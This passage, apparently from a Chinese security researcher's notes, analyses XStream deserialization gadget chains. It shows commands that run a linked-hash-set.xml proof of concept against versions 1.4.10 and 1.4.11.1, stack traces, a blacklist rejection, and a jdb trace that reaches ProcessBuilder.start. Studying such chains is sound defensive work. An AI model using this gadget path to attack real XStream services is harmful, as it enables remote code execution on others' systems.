at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:73)
at com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap(MapConverter.java:106)
at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:98)
at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:92)
at com.thoughtworks.xstream.converters.collections.MapConverter.unmarshal(MapConverter.java:87)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466)
at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346)
at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43)
15) 基于linked-hash-set的PoC(linked-hash-set.xml)
参[16]
这个PoC适用于如下版本的XStream:
1.4.10
未测试更低版本
$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 linked-hash-set.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: ---- Debugging information ---- cause-exception : java.lang.ClassCastException cause-message : java.lang.String cannot be cast to java.security.Provider$Service class : java.util.LinkedHashSet required-type : java.util.LinkedHashSet converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter path : /linked-hash-set/jdk.nashorn.internal.objects.NativeString line number : 38 version : 1.4.10
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466)
at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346)
at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43)
Caused by: java.lang.ClassCastException: java.lang.String cannot be cast to java.security.Provider$Service at javax.crypto.Cipher.chooseFirstProvider(Cipher.java:745) at javax.crypto.Cipher.update(Cipher.java:1827) at javax.crypto.CipherInputStream.getMoreData(CipherInputStream.java:139) at javax.crypto.CipherInputStream.read(CipherInputStream.java:246) at com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx.readFrom(ByteArrayOutputStreamEx.java:65) at com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.get(Base64Data.java:182) at com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.toString(Base64Data.java:286) at jdk.nashorn.internal.objects.NativeString.getStringValue(NativeString.java:121) at jdk.nashorn.internal.objects.NativeString.hashCode(NativeString.java:117) at java.util.HashMap.hash(HashMap.java:339) at java.util.HashMap.put(HashMap.java:612) at java.util.HashSet.add(HashSet.java:220) at com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection(CollectionConverter.java:99) at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:91) at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:85) at com.thoughtworks.xstream.converters.collections.CollectionConverter.unmarshal(CollectionConverter.java:80) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) ... 9 more
1.4.11.1的InternalBlackList不但对付了"java.beans.EventHandler",还对付了 "javax.crypto.*",因此linked-hash-set.xml在1.4.11.1上失败。
$ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 linked-hash-set.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Security alert. Unmarshalling rejected. ---- Debugging information ---- message : Security alert. Unmarshalling rejected. class : javax.crypto.CipherInputStream required-type : javax.crypto.CipherInputStream converter-type : com.thoughtworks.xstream.XStream$InternalBlackList path : /linked-hash-set/jdk.nashorn.internal.objects.NativeString/value/dataHandler/dataSource/is line number : 6 class[1] : com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource required-type[1] : com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource converter-type[1] : com.thoughtworks.xstream.converters.reflection.ReflectionConverter class[2] : javax.activation.DataHandler required-type[2] : javax.activation.DataHandler class[3] : com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data required-type[3] : com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data class[4] : jdk.nashorn.internal.objects.NativeString required-type[4] : jdk.nashorn.internal.objects.NativeString class[5] : java.util.LinkedHashSet required-type[5] : java.util.LinkedHashSet converter-type[2] : com.thoughtworks.xstream.converters.collections.CollectionConverter version : 1.4.11.1
at com.thoughtworks.xstream.XStream$InternalBlackList.unmarshal(XStream.java:2560)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:499)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:425)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:277)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:499)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:425)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:277)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:499)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:425)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:277)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:499)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:425)
at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:277)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readBareItem(AbstractCollectionConverter.java:132)
at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:117)
at com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection(CollectionConverter.java:98)
at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:91)
at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:85)
at com.thoughtworks.xstream.converters.collections.CollectionConverter.unmarshal(CollectionConverter.java:80)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1487)
at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1467)
at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1347)
at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43)
15.19) ProcessBuilder.start()调用栈回溯
$ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 linked-hash-set.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in java.lang.ProcessBuilder.start
[1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] javax.imageio.ImageIO$ContainsFilter.filter (ImageIO.java:613), pc = 9 [7] javax.imageio.spi.FilterIterator.advance (ServiceRegistry.java:834), pc = 27 [8] javax.imageio.spi.FilterIterator.next (ServiceRegistry.java:852), pc = 21 [9] javax.crypto.Cipher.chooseFirstProvider (Cipher.java:745), pc = 133 [10] javax.crypto.Cipher.update (Cipher.java:1,827), pc = 35 [11] javax.crypto.CipherInputStream.getMoreData (CipherInputStream.java:139), pc = 99 [12] javax.crypto.CipherInputStream.read (CipherInputStream.java:246), pc = 20 [13] com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx.readFrom (ByteArrayOutputStreamEx.java:65), pc = 61 [14] com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.get (Base64Data.java:182), pc = 33 [15] com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.toString (Base64Data.java:286), pc = 1 [16] jdk.nashorn.internal.objects.NativeString.getStringValue (NativeString.java:121), pc = 24 [17] jdk.nashorn.internal.objects.NativeString.hashCode (NativeString.java:117), pc = 1 [18] java.util.HashMap.hash (HashMap.java:339), pc = 9 [19] java.util.HashMap.put (HashMap.java:612), pc = 2 [20] java.util.HashSet.add (HashSet.java:220), pc = 8 [21] com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection (CollectionConverter.java:99), pc = 13 [22] com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection (CollectionConverter.java:91), pc = 21 [23] com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection (CollectionConverter.java:85), pc = 5 [24] com.thoughtworks.xstream.converters.collections.CollectionConverter.unmarshal (CollectionConverter.java:80), pc = 18 [25] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [26] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:70), pc = 236 [27] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [28] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [29] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [30] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [31] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,486), pc = 36 [32] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,466), pc = 4 [33] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,346), pc = 12 [34] DeserializeUsingXStream1.main (DeserializeUsingXStream1.java:43), pc = 25
☆ 参考资源
[9] XStream http://x-stream.github.io/ https://x-stream.github.io/tutorial.html http://x-stream.github.io/security.html http://x-stream.github.io/download.html
XStream Converters
http://x-stream.github.io/converters.html
http://x-stream.github.io/converter-tutorial.html
http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/Converter.html
http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.11.1/xstream-distribution-1.4.11.1-src.zip
http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.11.1/xstream-distribution-1.4.11.1-bin.zip
http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.11.1/xstream-1.4.11.1.jar
http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.10/xstream-distribution-1.4.10-bin.zip
http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.10/xstream-1.4.10.jar
http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.6/xstream-1.4.6.jar
http://x-stream.github.io/CVE-2013-7285.html
[10] Java XStream反序列化漏洞 - [2019-10-21] https://www.mi1k7ea.com/2019/10/21/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ (讲了各种版本不能成功的原因)
[13] Jenkins之Java反序列化漏洞分析(CVE-2016-0792) - vul_wish [2016-03-02] https://www.freebuf.com/vuls/97659.html (是下文的译文)
Serialization Must Die: Act 2: XStream (Jenkins CVE-2016-0792) - [2016-02-24]
https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream